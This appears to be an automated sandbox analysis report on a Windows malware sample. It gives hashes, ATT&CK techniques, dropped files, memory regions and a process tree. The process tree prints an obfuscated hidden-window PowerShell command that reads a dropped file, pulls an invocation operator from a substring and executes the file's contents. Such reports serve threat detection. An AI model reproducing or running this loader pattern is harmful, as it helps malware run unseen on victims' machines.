2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152

General

Target

2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe
Size

492KB
MD5

daefc1d031c8aaa70bc98e08278792c0
SHA1

148d0b47ec294971d0a7bc64b93e21c15048ad75
SHA256

2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152
SHA512

e9831ed53ef93d401fcf870dfe943e9ce76bf01deedba4db46d8860b638432445b6e7b13c639b2dd6dc8df7d1b82c57f1325aeba27816cd6d6d108dea351293c
SSDEEP

12288:Tqgow1LlsfJfmAhRRwXyx+B7JgyD9qhIVa5LkS:N1L+fJeAhRiix+lJgyZXVa5R

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1340	powershell.exe

Loads dropped DLL 3 IoCs

pid	Process
2520	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe
2520	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe
2520	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\energetiskes\Physicianer223.lnk	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\eduard.lyz	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe
File opened for modification	C:\Program Files (x86)\Common Files\yeastless.Rus	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe
File opened for modification	C:\Program Files (x86)\Common Files\Marrowless\Mutated.ini	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\schematizers.roa	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
64	1340	WerFault.exe	80

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1340	powershell.exe
1340	powershell.exe
1340	powershell.exe
1340	powershell.exe
1340	powershell.exe
1340	powershell.exe
1340	powershell.exe
1340	powershell.exe
1340	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1340	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 1340	2520	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe	80
PID 2520 wrote to memory of 1340	2520	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe	80
PID 2520 wrote to memory of 1340	2520	2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe	80

C:\Users\Admin\AppData\Local\Temp\2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe
"C:\Users\Admin\AppData\Local\Temp\2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Sddonoren198=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Metalvrker.Uns';$Fletdokumenter=$Sddonoren198.SubString(21681,3);.$Fletdokumenter($Sddonoren198)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1340
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1340 -s 2404
    3⤵
    - Program crash
    PID:64

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1340 -ip 1340
1⤵
PID:2004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kobdvpdw.vtq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nss41AD.tmp\Banner.dll

Filesize
4KB

MD5
843657eaf7240b695624dcf38bb0eb31

SHA1
ca99a44e737fdeaab56f864ce1ef15a57d2eec90

SHA256
b935d14c32ad8e16055f7f5794ac3411e601c5ac93155afc623f25b08e2ab82e

SHA512
7773d9f6bbd17253d1c96ce225b2f9d3673969b38177afef236d1c5d4aabaae2c07793e07c34f0281ec3b859ae955e83bfe43a598ce7cc6c893ec8c9604f5de3

Download Submit
C:\Users\Admin\AppData\Local\Temp\nss41AD.tmp\BgImage.dll

Filesize
7KB

MD5
a98576f0d6b35b466cb881860977fdbc

SHA1
28b3dbbd76f15c876b98dce523100aa3256d193a

SHA256
6cc4aadae46ee3e7f39b411ba087ec29bc10aa62b6b5b44003c934b3c51cefe2

SHA512
29225bfb30e72d7d3d3571e7562b5901dbf2382af1972cc9a2be8e3bef697b9ac9e0aaac3a9bca191da827ad3cfce7f6876e8be9444663e83a7e2e86788a733c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nss41AD.tmp\nsDialogs.dll

Filesize
9KB

MD5
2c84faebfda2abe3b16fdf374df4272f

SHA1
a5b0258a94e0440aefe1ef320e62e7a9a1c8bb40

SHA256
72b38e4cca0af336655d55501c4ea05080baaa9921a62a2d717afe90bb801004

SHA512
207164cc6914c59d9f4f3b8ae97628c544093ba6ecda9f8da351f453cd97e03be7a640264b8686b2d5e6f3c787f4df1d8a1ebc8e51fd788a97460cd981cc015e

Download Submit
C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Metalvrker.Uns

Filesize
70KB

MD5
9ad72344eaf3be12f5ce07ddddeaaf5d

SHA1
c9af4b7abd334707a722ff427bbd367f0260948d

SHA256
e0c9477ce03da5dc70ac493088572f801f54ef86b6582dd8631a8f0036b556c2

SHA512
423d3c7958e70ee461b424f979608120a483836c476de7f446e6f84e32cc8f6ccd8d3d9911a9d432b5e69e154224a87a0c03bb34d21a1620f4f1d45b0e32eedb

Download Submit
memory/1340-32-0x0000000005D00000-0x0000000005D66000-memory.dmp

Filesize
408KB

Download
memory/1340-45-0x0000000006410000-0x000000000645C000-memory.dmp

Filesize
304KB

Download
memory/1340-30-0x00000000734B0000-0x0000000073C60000-memory.dmp

Filesize
7.7MB

Download
memory/1340-31-0x0000000005510000-0x0000000005532000-memory.dmp

Filesize
136KB

Download
memory/1340-33-0x0000000005DE0000-0x0000000005E46000-memory.dmp

Filesize
408KB

Download
memory/1340-29-0x00000000734B0000-0x0000000073C60000-memory.dmp

Filesize
7.7MB

Download
memory/1340-27-0x0000000002DE0000-0x0000000002E16000-memory.dmp

Filesize
216KB

Download
memory/1340-43-0x0000000005E50000-0x00000000061A4000-memory.dmp

Filesize
3.3MB

Download
memory/1340-44-0x00000000063C0000-0x00000000063DE000-memory.dmp

Filesize
120KB

Download
memory/1340-28-0x0000000005620000-0x0000000005C48000-memory.dmp

Filesize
6.2MB

Download
memory/1340-46-0x0000000007390000-0x0000000007426000-memory.dmp

Filesize
600KB

Download
memory/1340-47-0x00000000068F0000-0x000000000690A000-memory.dmp

Filesize
104KB

Download
memory/1340-48-0x0000000006940000-0x0000000006962000-memory.dmp

Filesize
136KB

Download
memory/1340-49-0x00000000079E0000-0x0000000007F84000-memory.dmp

Filesize
5.6MB

Download
memory/1340-26-0x00000000734BE000-0x00000000734BF000-memory.dmp

Filesize
4KB

Download
memory/1340-51-0x0000000008610000-0x0000000008C8A000-memory.dmp

Filesize
6.5MB

Download
memory/1340-53-0x00000000734B0000-0x0000000073C60000-memory.dmp

Filesize
7.7MB

Download

Analysis

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